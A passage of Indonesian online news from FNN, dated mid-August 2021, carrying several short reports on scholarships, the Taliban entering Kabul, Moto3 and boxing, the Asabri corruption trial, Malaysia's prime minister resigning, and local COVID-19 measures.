akarta, FNN - Menteri Pariwisata dan Ekonomi Kreatif Sandiaga Uno memberikan 1.000 beasiswa kepada anak-anak para pedagang kecil dengan tujuan memastikan para penerus bangsa bisa merdeka dalam menentukan cita-citanya. "Tadi dari hasil interaksi dengan para penerima beasiswa mulai dari Aceh sampai Papua dirasakan. Begitu beratnya keadaan ekonomi yang dipicu oleh pandemi. Banyak dari pedagang-pedagang kecil yang kehilangan mata pencahariannya," ujar Sandiaga Uno dalam keterangannya, Ahad, 15 Agustus 2021. Bertepatan dengan momentum perayaan HUT ke-76 RI, Sandi ingin memastikan anak-anak Indonesia dapat merdeka dalam menentukan cita-citanya. Terlebih, tema dalam perayaan HUT ke-76 RI kali ini adalah 'Indonesia Tangguh, Indonesia Tumbuh'. "Oleh karena itu, di Hari Kemerdekaan ke 76, merdeka yang ingin kita kumandangkan adalah merdeka dalam menentukan cita-cita kita dan menggapainya," kata dia. Sandiaga juga berharap agar kegiatan semacam ini juga diikuti oleh para donatur lainnya. Sehingga, anak-anak Indonesia dapat menuntaskan cita-citanya tanpa perlu khawatir kekurangan biaya. "Indonesia tangguh, Indonesia tumbuh diwujudkan dengan saling berbagi dan beasiswa ini adalah wujud nyata dari Indonesia tangguh dan Indonesia tumbuh. Merdeka," tuturnya sebagaimana dikutip dari Antara. Sandiaga juga menceritakan beberapa pelajar dan mahasiswa yang terhambat pendidikannya lantaran permasalahan ekonomi, salah satunya Aurora. "Adinda Aurora dari Pontianak yang harus mengubah cita-citanya menjadi dokter karena tidak memiliki biaya. Berkat beasiswa dari Kahmipreneur ini, alhamdulillah semangat lagi adik Aurora kita dan tetap sekarang ingin melanjutkan studinya untuk menjadi dokter," ucap Sandiaga. Pemberian beasiswa bekerja sama dengan Kahmipreneur tersebut dilakukan secara virtual dan diikuti para pelajar dan mahasiswa dari berbagai daerah. Pemberian beasiswa telah digelar sejak tahun lalu dan kali ini merupakan gelombang ketiga. Total kuota beasiswa yang diberikan yaitu sebanyak 1.000 pelajar yang sudah diseleksi dari 34 provinsi yang terdiri dari siswa SD, SMP, SMA, mahasiswa dan anak yatim karena terdampak pandemi Covid-19, dengan sasaran utamanya anak dari pedagang kecil. (MD).

Pejuang Taliban Segera Kuasai Ibu Kota Afghanistan

Kabul, FNN - Gerilyawan Taliban diperkirakan menguasai kota Kabul dalam beberapa hari ke depan. Sebab, Ahad, 15 Agustus 2021, mereka telah memasuki ibu kota Afghanistan itu. Mereka masuk pada saat Amerika Serikat mengevakuasi para diplomat dari kedutaan besarnya dengan helikopter. Pejabat senior Afghanistan mengatakan, Taliban datang dari "segala penjuru", namun tidak menjelaskan lebih rinci. Tidak ada laporan tentang pertempuran. Juru bicara Taliban Zabihullah Mujahid mengatakan, mereka berbicara dengan pemerintah tentang penyerahan Kabul secara damai. Masuknya Taliban ke ibu kota itu menegaskan kemenangan kelompok bersenjata yang digulingkan Amerika Serikat 20 tahun lalu dari puncak kekuasaan menyusul serangan 11 September 2011 di AS. Runtuhnya pertahanan pemerintah Afghanistan mengejutkan para diplomat karena pekan lalu intelijen AS memprediksi Kabul akan jatuh dalam waktu tiga bulan. "Pejuang Taliban bersiaga di semua jalan masuk ke Kabul sampai penyerahan kekuasaan secara damai dan memuaskan disepakati," kata pernyataan juru bicara Taliban. Sebuah cuitan dari istana kepresidenan Afghanistan mengatakan, suara tembakan terdengar di sejumlah tempat di sekitar Kabul. Akan tetapi, pasukan keamanan negara tersebut bersama mitra internasional telah mengendalikan situasi. Belum ada penjelasan resmi dari Presiden Ashraf Ghani. Seorang pejabat istana mengatakan dirinya sedang berbicara dengan utusan khusus AS Zalmay Khalilzad dan para petinggi NATO. Dikutip dari Antara, jalan-jalan di Kabul dipadati mobil dan masyarakat yang bergegas pulang atau menuju bandara. "Sejumlah orang meninggalkan kunci di mobil dan berjalan ke bandara," kata seorang warga kepada Reuters lewat telepon. Warga lainnya mengatakan: "Orang-orang pulang ke rumah karena khawatir dengan pertempuran." Pejabat AS mengatakan para diplomat telah diangkut dengan helikopter ke bandara dari kedutaan besar di distrik Wazir Akbar Khan yang dijaga pasukan keamanan. Tentara AS tambahan sedang dikirim untuk membantu evakuasi setelah kemenangan kilat Taliban atas pasukan Afghanistan membawa kelompok pejuang itu Kabul dalam hitungan hari. "Anggota tim 'inti' AS tengah bekerja dari bandara Kabul," kata seorang pejabat AS. Sementara itu, pejabat NATO mengatakan sejumlah staf Uni Eropa telah dipindahkan ke tempat aman di ibu kota yang lokasinya tidak disebutkan. Sebelumnya pada Ahad, Taliban merebut kota Jalalabad di bagian timur tanpa perlawanan yang membuat mereka mengendalikan salah satu jalur darat utama ke Afghanistan yang dikurung daratan. Mereka juga mengambil alih pos perbatasan Torkham dengan Pakistan, yang menyebabkan bandara Kabul menjadi satu-satunya jalan untuk keluar dari Afghanistan. (MD).

Juarai GP Austria, Garcia Balas Kekecewaan Pekan Lalu di Red Bull Ring

Jakarta, FNN - Pebalap tim GASGAS Sergio Garcia menjuarai Grand Prix Moto3 Austria di Red Bull Ring pada Minggu demi membalas kekecewaannya pekan lalu ketika ia kalah dalam pertarungan sengit dengan Pedro Acosta di sirkuit yang sama. Garcia memiliki peluang merebut kemenangan di GP Styria tujuh hari lalu sebelum kalah dalam duel sengit melawan rookie tim Red Bull KTM Ajo Pedro Acosta di trek basah Red Bull Ring. Satu pekan berselang, Garcia mengawali balapan seri ke-11 di kalender dari baris kelima dan mampu merangsek ke kelompok terdepan sebelum melakukan serangan di lap terakhir demi merebut kemenangan dari pebalap tim Red Bull KTM Tech 3 Denis Oncu yang memimpin di hampir sepanjang lomba namun harus puas sebagai runner-up hari itu. Dennis Foggia juga mencuri podium di lap terakhir untuk tim Leopard Racing saat Pedro Acosta membuat kesalahan di Tikungan 4 lap terakhir, terlempar dari persaingan podium ke P4. Acosta masih bertahan sebagai pemuncak klasemen sementara dengan 196 poin, namun Garcia memangkas jaraknya menjadi 41 poin dengan kemenangan ketiganya di musim ini. Romano Fenati masih di peringkat tiga klasemen dengan koleksi 107 poin dibayangi oleh Foggia yang kini terpaut lima poin saja. Sementara itu tim Indonesian Racing Gresini Moto3 membawa pulang hanya dua poin setelah Jeremy Alcoba finis P14 di saat rekan satu timnya Gabriel Rodrigo terlempar dari zona poin di P20. Alcoba menghuni peringkat 10 dengan 60 poin sedangkan Rodrigo satu posisi di bawahnya dengan 59 poin. Pebalap Indonesia Andi Farid Izdihar membawa pulang satu poin setelah finis P15 untuk ketiga kalinya musim ini. Pebalap Honda Team Asia itu berada di peringkat 28 klasemen dengan koleksi tiga poin, demikian laman resmi MotoGP. (mth)

Manny Pacquiao vs Yordenis Ugas Value Bisnis Turun, Tapi Laga Tetap Keras

Oleh M. Nigara MUNDURNYA Errol Spance Jr dari jadwal tarung dua pekan jelang laga yang sudah dijadwal melawan Manny the Pacman Pacquiao, bukan hal yang aneh. Apalagi dokter tim menemukan ada cedera robek di mata sang juara dunia kelas welter WBC dan IBF. Dari segi bisnis, batalnya Sapnce membuat value bisnis, menurut secara otomatis. Maklum, sudah lebih dari tiga bulan woro-woro perang bintang, sudah dimulai. Tapi seperti kata pepatah, untung tak dapat diraih, malang tak dapat ditolak, semua berantakan. Beruntung Pacquiao tetap mau manggung dengan mengganti lawan, Yordenis Ugas, juara dunia kelas Welter versi WBA. Selain itu, kisah mundur atau digantinya lawan dalam laga tinju pro, ya biasa saja. Ada banyak petinju yang demikian, meski ada beberapa yang berani melawan keputusan dokternya. Sugar Ray Leonard dan Evander Holyfield, misalnya. Mereka tetap maju dan hingga hari ini tetap sehat. Leonard, member of the Fabulous Four dinyatakan cedera berat di matanya selepas melawan Thomas Hearns, di Caecars Palace, Las Vegas, Nevada (12/6/1989). Duel itu berakhir draw, dan masing-masing gelar super middleweight WBC tetap milik Leonard, dan WBO juga tetap milik Hearns. Sugar Ray Leonard, kecewa berat. Semua anggota tim meminta sang jagoan mengikuti pendapat dokter. Keputusan sangat berani dan mengejutkan dilakukan Leonard. Laga ke-38 nya melawan Roberto Duran, juga anggota the Fabulous Four yang sudah dijadwal (7/12/1989) di the Mirage, Paradise, Las Vegas, Nevada, tidak dibatalkan. Dan di laga itu, Leonard menang angka. Begitu juga dengan Evander Holyfield, juara dunia kelas berat WBA/IBF. Jelang pertarungan pertamanya melawan Lennox Lewis (13/3/199) di Madison Square Garden, New York, dokternya menyatakan ada masalah besar di jantung Holyfield. Serupa dengan Leonard, ketika semua anggota tim dan manajemen memintanya berhenti, the Real Deal menolaknya. Di laga univikasi dengan gelar Lewis, WBC, berakhir draw. Saya tidak ingin mengatakan Spance cengeng apalagi takut. Setiap orang tentu punya perhitungan masing-masing, dan itu harus kita hormati. Dua contoh di atas hanya penjabaran fakta saja. Mirip Akan halnya Yordinis Ugas, juara dunia kelas Welter versi WBA, dipilih menggantikan Spance jr, dua minggu sebelum laga, justru mengingatkan saya pada Pacman, 20 tahun silam. Bedanya Ugas saat ini juara dunia, sementara Pacman saat itu menyandang mantan juara dunia. Setelah kehilangan gelar juara dunia kelas terbang versi WBC, dari petinju Thailand, Midgoen Singsurat (18/12/199), Pacquiao seperti frustasi. Padahal laga melawan petinju Thai itu bukan kejuaraan, tetapi karena kalah KO-2, secara otomatis gelar dicabut. Enam kemenangan berturut-turut selepas laga itu, seluruhnya ia menangkan dengan KO/TKO, tapi itu tetap tak mampu menghapus bayang menyakitkan. Maka terbanglah ia ke Amerika, tepatnya ke San Fransisko, California. Singkatnya ia mendatangi Freddie Roach, pelatih top di Los Angeles. Niatnya ia ingin berlatih di sana. Tapi Roach mengacuhkannya. Modal mantan juara kelas terbang WBC, tidak membuat sang pelatih para juara itu mau menerimanya. Tapi karena kesungguhannya, Roach akhirnya mau juga menampungnya di the Wild Card Gym, West Hollywood California. Suatu hari, tepat dua minggu setelah Pacquiao bermukim di WCG, dan belum ditangani oleh Roach, tiba-tiba ia diberi tahu akan bertanding. Kaget? Pasti, apalagi ia akan menantang juara dunia asal Afrika Selatan, Lehlohonolo Ledwaba. Sang juara dunia kelas super bantam IBF ini sudah mempertahankan gelar lima kali, 4 dengan KO/TKO, di MGM Garden Arena, Las Vegas, Nevada (23/6/2001). Catatan, Bob Arum, pemilik Top-Rank, sedang menggadang-gadangkan Ledwaba untuk menjadi pendamping si Golden Boy Oscar De La Hoya yang sejak amatir berada di bawah Arum. Makanya, ketika petinju Martinez, cedera, Arum 'meminta' Roach untuk mencari pengganti. Intinya bukan lawan yang berat agar mudah dikalahkan Ledwaba. Sang pemilik WGC langsung menyanggupi. "Ada nih," kira-kira begitu. "Baru datang dari Philiphina dua minggu lalu. Belum sempat saya tangani, " katanya lagi. Arum pun senang. Pasar taruhan saat itu 9-1 untuk Ledwaba. Ledwaba vs Pacquiao merupakan partai tambahan Oscar De La Hoya vs. Javier Castillejo. Saat itu, tak seorang pun yang peduli pada Pacman. Semua mata tertuju untuk Oscar dan Ledwaba. Now or Never itu yang membuncah di dadanya. "Ya, sekarang atau tidak sama sekali," kata hatinya. Tak ada pesan apa pun, Pacquiao turun sebagai no boddy. Tapi di atas ring, Pacman menjelma menjadi macan yang lapar. Ia mengaum sangat keras, mengejutkan 22 ribu penonton MGM Grand, 15 juta penonton yang melalui PPV (Pay Per View) alias tv berbayar dan ratusan juta pasang mata di dunia.. Ledwaba bukan hanya kalah dan kehilangan gelar, tapi juaea bertahan itu dibuat lintang-pukang. Roach, kaget. Ia gelisah. Tapi, alih-alih Arum marah, kehilangan Ledwaba, ia justru mengatakan sebaliknya. "Kok petinju sebagus itu tidak dipasarkan? " Mata dan hati Arum tidak keliru. Bahkan ketika Golden Boy yang sejak amatir sudah diijon, mengajukan pilihan pada Bo Arum: "Aku atau dia (Pacquiao)?". Arum tak ragu menjawab: "Pacman!" Sejak itu Oscar lepas dari Arum. Mantan peraih medali emas Olimpiade 1984 itu segera mendirikan Golden Boy Promotions yang kemudian menjadi pesaing utama Top Rank milik Arum. Kembali ke Pacquiao saat ini. Secara teknis dan pengalaman, Ugas pasti tidak sebanding dengan Pacman yang menjadi satu-satunya petinju yang menjadi juara dunia di delapan kelas berbeda. Bahkan nilai jual Ugas pun tak seimbang dengan Spance Jr. Tapi, semua bukan jaminan Yordenis Ugas, petinju asal Kuba itu pasti kalah. Semangat juara dunia kelas welter WBA, yang tahun lalu (26/9/2020) merebut gelar kosong dengan mengalahkan Abel Ramos, sedang tinggi-tingginya. Hampir sama, petinju Kuba dengan Meksiko, berani dan pantang menyerah. Apalagi kasusnya mirip dengan Pacman vs Ledwaba. Ia petinju yang menggantikan Spance, Pacman saat itu menggantikan Martinez. Malah dulu Pacman bukan siapa-siapa, tapi bisa berhasil. Sementara Ugas adalah juara dunia. Sedikitnya ada tiga motivasi Ugas, pertama, ya now or never seperti Pacman dulu. Inilah kesempatannya. Kedua, ia ingin menutup buku Pacman dengan mencatatkan diri sebagai pemenang. Kabarnya santer, Pacquiao akan pensiun setelah laga ini. Terakhir, ia beruntung menjadi under dog bebannya lebih ringan. "Merupakan sebuah kehormatan melawan juara dunia multi-divisi yang hebat, Manny Pacquiao. Saya lebih dari siap untuk menghadapi tantangan ini," tutur Ugas. "Saya sangat menghormati Pacquiao, tetapi saya datang untuk memenangkan pertarungan ini," lanjut Ugas. Jadi, secara teknik Ugas memang kalah, tetapi jika kubu Ugas mau mengulur permainan, bukan tidak mungkin Pacman akan kerepotan. Selisih delapan tahun, Ugas (35) dan Pacquiao (43) bisa jadi kendala. Dari data ring terlihat Ugas bukan petarung yang mau cepat-cepat menyelesaikan pertarungan. Dari 30 kali tampil, Ugas menang 26 kali dengan hanya 12 menang KO/TKO dan 4 kali kalah. Dan Pacquiao sendiri bukan supermen. Ia kehilangan gelar juaranya saat dikalahkan petinju tuan rumah, Jeff Horn (12/7/2017) di Brisbane, Australia. Kekalahan itu menyebabkan gelar juara dunia kelas welter versi WBO lepas. Jeff Horn, bukan siapa-siapa. Sekali lagi, Ugas memang tidak sehebat Spance, tapi di atas ring, Pacquiao pasti tidak akan mudah untuk dikalahkan... Selamat menyaksikan. Penulis adalah Wartawan olahraga senior Komentator tinju TVOne Mantan Wakil Sekjen PWI

Delapan Terdakwa Perkara Dugaan Korupsi Asabri Segera Disidang

Jakarta, FNN - Pengadilan Tindak Pidana Korupsi (Tipikor) yang berlokasi di Pengadilan Negeri Jakarta Pusat menjadwalkan sidang perdana dengan agenda pembacaan dakwaan untuk delapan orang terdakwa kasus dugaan korupsi pengelolaan keuangan dan dana investasi di PT Asabri (Persero) pada Senin, 16 Agustus 2021. "Bahwa perkara Asabri sudah dilimpahkan ada 8 berkas (8 terdakwa), sidang pertama akan dilangsungkan pada Senin, 16 Agustus 2021," kata humas Humas PN Jakarta Pusat Bambang Nurcahyono di Jakarta, Minggu. Susunan majelis hakim perkara tersebut adalah IG Eko Purwanto selaku ketua majelis hakim dengan anggota majelis yaitu Saefudin Zuhri dan Rosmina (hakim-hakim karier) serta Ali Muhtarom dan Mulyono Dwi Purwanto (hakim ad hoc tipikor). Kedelapan terdakwa tersebut adalah Dirut PT Asabri periode 2011 - Maret 2016 Mayjen Purn. Adam Rachmat Damiri, Dirut PT Asabri periode Maret 2016 - Juli 2020 Letjen Purn. Sonny Widjaja, Direktur Keuangan PT Asabri periode Oktober 2008 - Juni 2014 Bachtiar Effendi, Direktur PT Asabri periode 2013 — 2014 dan 2015 — 2019 Hari Setiono. Dirut PT Prima Jaringan Lukman Purnomosidi, Direktur PT Jakarta Emiten Investor Relation Jimmy Sutopo, Dirut PT Hanson International Tbk. Benny Tjokrosaputro dan Komisaris PT Trada Alam Minera Heru Hidayat. Benny maupun Heru diketahui adalah terdakwa dalam kasus korupsi di PT Asuransi Jiwasraya. Perbuatan kedelapan orang tersebut diduga merugikan keuanganan negara sebesar Rp22,78 triliun dalam pengelolaan keuangan dan dana investasi di PT Asabri (Persero) periode 2012 - 2019. Mereka didakwa dengan dakwaan subsidaritas yaitu Pasal 2 ayat (1) atau pasal 3 jo Pasal 18 UU No. 31 Tahun 1999 sebagaimana diubah dengan UU No. 20 Tahun 2021 tentang Pemberantasan Tindak Pidana Korupsi Jo. Pasal 55 ayat (1) ke-1 KUHP. Khusus untuk tersangka Jimmy Sutopo, Benny Tjokcrosaputro dan Heru Hidayat juga didakwa dengan dakwaan tindak pidana pencucian uang (TTPU). Awalnya penyidik Jaksa Agung Muda Tindak Pidana Khusus (Jampidsus) Kejaksaan Agung RI melimpahkan sembilan orang tersangka ke JPU Kejaksaan Negeri Jakarta Selatan. Namun, pada 31 Juli 2021 Kepala Divisi Investasi PT Asabri Juli 2012 — Januari 2017 Ilham W. Siregar Ilham Wardhana Siregar meninggal dunia. (mth)

Polisi Pelajari Laporan Dugaan Pelanggaran Prokes Bupati Sampang

Sampang, FNN - Kasat Reskrim Polres Sampang AKP Sudaryanto menyatakan pihaknya masih mempelajari kasus dugaan pelanggaran protokol kesehatan (prokes) yang melibatkan Bupati Sampang Slamet Junaidi yang dilaporkan masyarakat pada 9 Agustus 2021. "Kami masih mempelajari laporan yang disampaikan masyarakat kepada kami, dengan mengumpulkan sejumlah barang bukti dan meminta penjelasan kepada para pihak," kata Sudaryanto di Sampang, Jawa Timur, Minggu. Polisi, katanya, belum bisa mengambil keputusan atas laporan dugaan pelanggaran protokol kesehatan tersebut, karena tim Reskrim Polres Sampang masih bekerja. Sebelumnya pada 12 Agustus 2021 seorang warga atas nama Efendi mendatangi Mapolres Sampang, melaporkan Bupati Sampang Slamet Junaidi atas dugaan pelanggaran protokol kesehatan saat meluncurkan logo Bank BUMD PT BPRS BAS Sampang pada 9 Agustus 2021. Bupati dilaporkan abai pada penegakan disiplin protokol kesehatan dan tidak memberikan contoh yang baik kepada masyarakat, karena kegiatan yang dihadiri bupati menimbulkan kerumunan. Efendi juga menyatakan, jumlah peserta yang hadir pada acara itu, lebih dari ketentuan maksimal yang ditetapkan oleh Satgas COVID-19, dan banyak hadirin yang tidak menjaga jarak dan sebagian tidak menggunakan masker. "Seharusnya Bupati Sampang Slamet Junaidi tidak hadir ke sana, dan acara peluncuran logo Bank Sampang itu secara virtual atau hybrid, karena saat ini dalam masa pandemi," katanya. Efendi menilai tindakan Bupati Sampang Slamet Junaidi tersebut telah melanggar Undang-Undang Karantina Kesehatan Nomor 6 Tahun 2018 Pasal 93, dan ketentuan itu, menjadi dasar laporan ke Mapolres Sampang. Dalam ketentuan ini, sambung dia, sudah dijelaskan dengan gamblang bahwa setiap orang yang tidak mematuhi penyelenggaraan Kekarantinaan Kesehatan sebagaimana dimaksud dalam Pasal 9 ayat (1) dan/atau menghalang-halangi penyelenggaraan Kekarantinaan Kesehatan, sehingga menyebabkan Kedaruratan Kesehatan Masyarakat dipidana penjara paling lama 1 tahun dan/atau pidana denda paling banyak Rp100 juta. "Kami berharap, aparat penegak hukum tidak pandang bulu dalam menegakkan aturan. Siapapun yang melanggar, maka harus ditindak, sehingga tidak terkesan, hukum hanya berlaku bagi masyarakat sipil. Pejabat publik yang melakukan pelanggaran juga harus ditindak tegas," katanya kala itu. Selain Bupati Sampang Slamet Junaidi, yang juga dilaporkan ke institusi Polres Sampang Direktur Utama Bank Sampang Syaifullah Asyik, selalu penanggung jawab acara peluncuran logo Bank Sampang tersebut. Sebelumnya, Bagian Protokol dan Komunikasi Pimpinan Pemkab Sampang menyebutkan, acara yang dihadiri Bupati Sampang Slamet Junaidi itu, sudah sesuai dengan aturan penegakan disiplin protol kesehatan, seperti menyediakan tempat mencuci tangan dengan sabun dan air mengalir, hadiri diminta memakai masker dan panitia telah mengatur jarak fisik antar undangan yang hadir dalam kegiatan tersebut. (mth)

Besok Perdana Menteri Malaysia Mengundurkan Diri

Kuala Lumpur, FNN - Perdana Menteri Malaysia Muhyiddin Yassin akan menghadap Raja Malaysia di Istana Negara, Senin (15/8), guna mengajukan surat pengunduran diri sebagai perdana menteri. "Ya dapat dikonfirmasi. Besok setelah rapat kabinet di pagi hari perdana menteri akan menghadap Raja Malaysia untuk mengundurkan diri dari posisinya," ujar Staf Ahli Bidang Media Menteri Tugas-Tugas Khusus Malaysia, Aneita Abdullah, Ahad, 15 Agustus 2021. Dia mengatakan, pengunduran diri tersebut sesuai aturan undang-undang ketika perdana menteri tidak mempunyai dukungan mayoritas di parlemen. "Setelah itu menunggu Raja Malaysia atau Yang di-Pertuan Agong untuk membuat keputusan," ujar Aneita saat dikonfirmasi sejumlah media terkait pernyataan Menteri Tugas-Tugas Khusus, Moh Redzuan pada sebuah media daring. Media tersebut memberitakan seorang pemimpin Partai Pribumi Bersatu membenarkan Muhyiddin Yassin akan menyerahkan surat peletakan jabatannya kepada Yang di-Pertuan Agong di Istana Negara besok. Anggota Majelis Pimpinan Tertinggi Bersatu, Mohd Redzuan Md Yusof mengatakan persoalan tersebut disampaikan Muhyiddin Yassin dalam pertemuan dengan anggota parlemen Bersatu selama kira-kira dua jam, Ahad. "Besok akan ada musyawarah khusus kabinet sebelum Muhyiddin menghadap Raja Malaysia untuk mempersembahkan surat peletakan jabatan," katanya, sebagaimana dikutip dari Antara. Mohd Redzuan mengatakan Muhyiddin sudah mencoba sebaik mungkin untuk mempertahankan keadaan dan kedudukan pemerintahan namun ikhtiarnya tersebut tidak membuahkan hasil. (MD).

Wakil Ketua MPR Berikan Apresiasi kepada Veteran di Jakarta

Jakarta, FNN - Wakil Ketua MPR RI Hidayat Nur Wahid memberikan apresiasi atas jasa para pejuang dengan menyalurkan paket bantuan kepada 76 veteran dari Legiun Veteran Republik Indonesia (LVRI) di Jakarta pada Sabtu (14/8). Hidayat, dalam keterangan tertulis yang diterima di Jakarta, Minggu, menyampaikan bahwa apresiasi dalam rangka Hari Ulang Tahun (HUT) Republik Indonesia ke-76 itu diberikan atas jasa perjuangan para veteran sebagai abdi negara dan telah merebut serta mempertahankan kemerdekaan Indonesia. Dia juga menyatakan harapannya agar para veteran selalu mendapat karunia kesehatan, keberkahan umur, dan dapat mewariskan semangat juang maupun patriotisme kepada generasi penerus. "Agar cita-cita proklamasi Indonesia bisa terus dijaga dan diwariskan sampai nanti satu abad Indonesia merdeka hingga seterusnya,” kata Hidayat. Wakil Ketua Majelis Syura PKS itu menerangkan Fraksi PKS khususnya di Komisi I DPR RI mendukung revisi terhadap Undang-Undang (UU) Nomor 15 Tahun 2012 tentang Veteran Republik Indonesia untuk memberikan jaminan kesehatan dan kesejahteraan yang lebih baik bagi para veteran. Dia mencontohkan Peraturan Pemerintah Nomor 13 Tahun 2018 sebagai peraturan pelaksana UU Veteran hanya menetapkan tunjangan bagi veteran paling besar adalah Rp2 juta per bulan, yang mana jumlah tersebut jauh lebih rendah dari upah minimum yang besarannya sekitar Rp3-4 juta per bulan. Hidayat menyebut Fraksi PKS di DPR RI sangat terbuka untuk menerima dan memperjuangkan aspirasi para veteran. Ketua DPC LVRI Kota Jakarta Pusat Letkol Purn. Slamet Subuh menyambut positif apresiasi dan perhatian yang diberikan Wakil Ketua MPR itu. Slamet berharap anggota DPR maupun MPR lainnya dapat turut serta memperhatikan dan membantu veteran, termasuk di daerah pemilihannya masing-masing. “Kami sangat menghormati dan apresiasi tinggi kepada Bapak yang telah memperhatikan kami, ketulusan Bapak ada di hati kami,” ujar Slamet. Turut hadir dalam acara tersebut, yakni Ketua DPD LVRI Provinsi DKI Jakarta Marsekal Muda TNI Purn Sri Budjono beserta seluruh jajaran dan anggotanya dengan tetap menerapkan protokol kesehatan dan pembatasan jumlah orang. (mth)

Dokter: Kurangi Risiko Terinfeksi COVID-19 dengan Protokol VDJ

Purwokerto, FNN - Dokter spesialis paru dari RSUD Prof. Dr. Margono Soekarjo Purwokerto dr. Wisuda Moniqa Silviyana, Sp.P mengingatkan bahwa protokol VDJ yaitu ventilasi, durasi dan jarak merupakan strategi tambahan untuk mengurangi risiko terinfeksi COVID-19. "VDJ merupakan strategi tambahan bagi kondisi saat ini, sebagai upaya mengurangi risiko terinfeksi COVID-19," katanya melalui wawancara virtual dengan ANTARA di Purwokerto, Minggu. Dia menjelaskan, bahwa pada saat ini masyarakat sudah sangat mengenal dengan protokol kesehatan 5M yakni memakai masker, menjaga jarak, mencuci tangan, membatasi mobilitas dan menjauhi kerumunan. "Kendati demikian karena pada saat ini virus SARS CoV-2 sudah bermutasi menjadi varian baru yang lebih mudah menular bagi masyarakat maka VDJ diperlukan sebagai strategi tambahan untuk mencegah paparan virus," katanya. Dia menjelaskan bahwa virus SARS CoV-2 dapat menular dari orang yang terinfeksi melalui partikel yang keluar dari saluran napas orang tersebut saat bernapas, bicara, batuk, bersin atau tertawa. "Partikel tersebut disebut droplets yang bisa terpercik jatuh ke permukaan dan bisa juga oleh sebab penguapan berubah lagi menjadi partikel yang lebih kecil yang disebut aerosol," katanya. Dengan demikian, kata dia, saat bertemu seseorang yang terinfeksi maka memiliki risiko untuk tertular. "Karena itu, selain selalu menggunakan masker pastikan kita berada dalam ruangan yang memiliki ventilasi baik jika bertemu orang lain. Selain itu, jika perlu bertemu orang atur durasi pertemuan jangan terlalu lama dan jaga jarak fisik," katanya. Dia menambahkan bahwa jarak fisik yang perlu diperhatikan, paling dekat adalah satu meter. "Selain itu, diperlukan juga etika saat batuk yakni dengan menutup menggunakan lengan saat batuk," katanya. Selain hal tersebut, dia juga mengingatkan masyarakat untuk segera mendapatkan vaksinasi COVID-19 begitu ada kesempatan. "Berdasarkan penelitian, vaksinasi sangat efektif melindungi. Walaupun seseorang tetap memiliki kemungkinan terkena COVID-19 setelah divaksin, namun vaksinasi efektif dalam mencegah seseorang terkena COVID-19 bergejala berat yang memerlukan perawatan," katanya. Pemberian Vaksinasi COVID-19, kata dia, merupakan upaya yang dapat dilakukan untuk menimbulkan atau meningkatkan kekebalan seseorang secara aktif. Sehingga apabila tetap terpapar, seseorang telah mempunyai kekebalan dan diharapkan mengalami kondisi yang ringan. Untuk itu, dia mengajak masyarakat untuk segera divaksin mengingat Indonesia menjadikan pelaksanaan vaksinasi sebagai bagian dari strategi penanggulangan pandemi COVID-19.

Pemkab Landak Intensifkan Posko PPKM Tingkat Desa

Pontianak, FNN - Bupati Landak, Provinsi Kalimantan Barat Karolin Margret Nataasa mengatakan meski saat ini kasus kondirmasi COVID-19 di daerah itu mengalami penurunan, namun pihaknya masih tetap mengintensifkan Posko PPKM di tingkat desa dan mewajibkan masyarakat terus menerapkan protokol kesehatan dalam kegiatan sehari-hari. "Selain mengefektifkan posko PPKM di tingkat desa juga mengintensifkan penegakan 5M, yakni menggunakan masker, mencuci tangan, menghindari kerumunan, mengurangi mobilitas serta melakukan penguatan terhadap 3T yakni testing, tracking dan treatment," katanya di Ngabang, Minggu. Dia menjelaskan, saat ini di Landak masih dalam PPKM level 3 yang ditetapkan sejak tanggal 10 Agustus 2021 sampai dengan tanggal 23 Agustus nanti. Untuk itu, pihaknya sudah meminta kepada Dinas Kesehatan dan Satgas COVID-19 di tingkat kecamatan hingga desa untuk mengintensifkan Posko PPKM. "Untuk testing, tracking dan treatment akan dilakukan screening test antigen berkala di tingkat desa guna melakukan pencegahan secara dini. Kita akan melakukan screening test antigen di tingkat desa yang akan dilakukan oleh para petugas kesehatan baik dari Dinas Kesehatan maupun dari petugas di Puskesmas, hal ini kita lakukan agar secara cepat mendeteksi penyebaran COVID-19 di Kabupaten Landak," katanya. Ia menjelaskan berdasarkan Instruksi Menteri Dalam Negeri Nomor 32 Tahun 2021 tentang Pemberlakuan Kegiatan Masyarakat Level 3, Level 2 dan Level 1 Serta Mengoptimalkan Posko Penanganan Corona Virus Disease 2019 di tingkat desa dan kelurahan untuk pengendalian penyebaran Corona Virus Disease 2019. Menteri Dalam Negeri menindaklanjuti arahan Presiden Republik Indonesia agar melaksanakan Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) Corona Virus Disease 2019 (COVID-19) di wilayah dengan kriteria level 3, level 2 dan level 1 situasi pandemi berdasarkan assesmen oleh Kementerian Kesehatan serta lebih mengoptimalkan Pos Komando (Posko) Penanganan COVID-19 di tingkat desa dan kelurahan untuk pengendalian penyebaran COVID-19 dengan menginstruksikan Gubernur, Bupati dan Wali Kota dapat melaksanakan PPKM tersebut di daerah. Untuk itu Kabupaten Landak melaksanakan PPKM tersebut sesuai dengan instruksi Mendagri dan Instruksi Gubernur Kalimantan Barat yang tertuang dalam Instruksi Bupati Landak Nomor 644 Tahun 2021 tentang Perpanjangan Pembatasan Kegiatan Masyarakat Level 3 dan Mengoptimalkan Posko Penanganan COVID-19 di tingkat desa untuk pengendalian penyebaran di Kabupaten Landak. "Makanya, kami akan terus melakukan pencegahan, penanganan, pembinaan dan pendukung pelaksanaan penanganan COVID-19 di tingkat desa," katanya. (mth)

Kejari Mukomuko Sita Aset Tersangka Korupsi BUMD

Mukomuko, FNN - Kejaksaan Negeri Kabupaten Mukomuko, Provinsi Bengkulu, telah menyita aset milik BI terkait dugaan korupsi anggaran negara untuk modal usaha di Badan Usaha Milik Daerah (BUMD). Kepala Kejaksaan Negeri Kabupaten Mukomuko Rudi Iskandar melalui Kepala Seksi Pidana Khusus Andi Setiawan dalam keterangannya di Mukomuko, Minggu, mengatakan penyidik telah menyita sebanyak lima sertifikat lahan perkebunan milik tersangka. “Lima sertifikat itu adalah lahan perkebunan kelapa sawit, kami sita dari tersangka BI Ini setelah penyidik melakukan pendalaman aset tersangka, yang diduga diperoleh dari hasil dugaan tindak pidana korupsi," ujarnya. Menurut dia, lahan perkebunan yang terbagi menjadi lima sertifikat tersebut disita karena diduga diperoleh dari pengelolaan dana penyertaan modal tersebut. Dari lima sertifikat lahan perkebunan tersebut, itu satu sertifikat atas nama tersangka, kemudian atas nama istri tersangka serta atas nama orang lain. Ia menyatakan, jika kasus ini terbukti di pengadilan, maka semua sertifikat itu akan disita untuk negara. Ia menyatakan 